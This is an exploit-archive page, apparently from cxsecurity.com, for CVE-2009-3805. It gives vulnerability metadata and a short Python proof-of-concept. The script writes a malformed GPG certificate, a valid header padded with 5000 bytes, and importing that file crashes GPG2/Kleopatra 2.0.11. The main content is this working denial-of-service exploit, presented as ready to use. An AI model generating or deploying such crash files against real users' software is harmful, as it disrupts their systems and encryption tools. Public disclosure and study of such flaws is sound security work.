Exploit: GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC ( Ascii Version )

Search:
WLB2

GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

Published
Credit
Risk
2009.10.29
Dr_IDE
Low
CWE
CVE
Local
Remote
CWE-Other
CVE-2009-3805
No
Yes

Plain text version

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

#!/usr/bin/env python

################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note: Part of the GPG4Win Package v2.0.1
# Found By: Dr_IDE
# Tested On: 7RC, XPSP3
# Usage: Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################

# Seems to only check for the presense of this signature
cert = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);

try:
print ("[*] Creating evil GPG cert.");
f1 = open("gpg2_evil_cert.gpg","w");
f1.write(cert);
f1.close();
print ("[*] File created successfully. Import it.");

except:
print ("[-] Error.");

#[pocoftheday.blogspot.com]

References:

http://xforce.iss.net/xforce/xfdb/53908
http://www.securityfocus.com/bid/36781
http://www.packetstormsecurity.com/0910-exploits/gpg2kleo-dos.txt

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version